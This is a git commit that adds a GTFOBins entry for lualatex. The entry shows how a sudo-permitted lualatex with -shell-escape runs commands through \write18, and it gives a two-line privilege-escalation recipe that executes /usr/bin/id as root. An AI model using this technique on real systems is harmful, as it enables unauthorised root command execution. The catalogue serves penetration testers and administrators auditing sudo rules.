Create lualatex.md

Add lualatex.
This commit is contained in:
SynackCerv 2021-04-22 22:16:14 +02:00 committed by GitHub
parent fd30994f8a
commit 806c8054eb
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

6
_gtfobins/lualatex.md Normal file
View File

@ -0,0 +1,6 @@
description: `lualatex` is a symbolic link to [`luatex`](/gtfobins/luatex/). However the program does not have the same behaviour regarding the name of argv[0]. It allows to call external command with \write18 but it also allows to call external [`lua`](/gtfobins/lua/) scripts.
functions:
sudo:
- code: |
echo "\documentclass[12pt]{article} \usepackage{shellesc} \begin{document} \write18{/usr/bin/id} \end{document}" > file.tex
sudo lualatex -shell-escape file.tex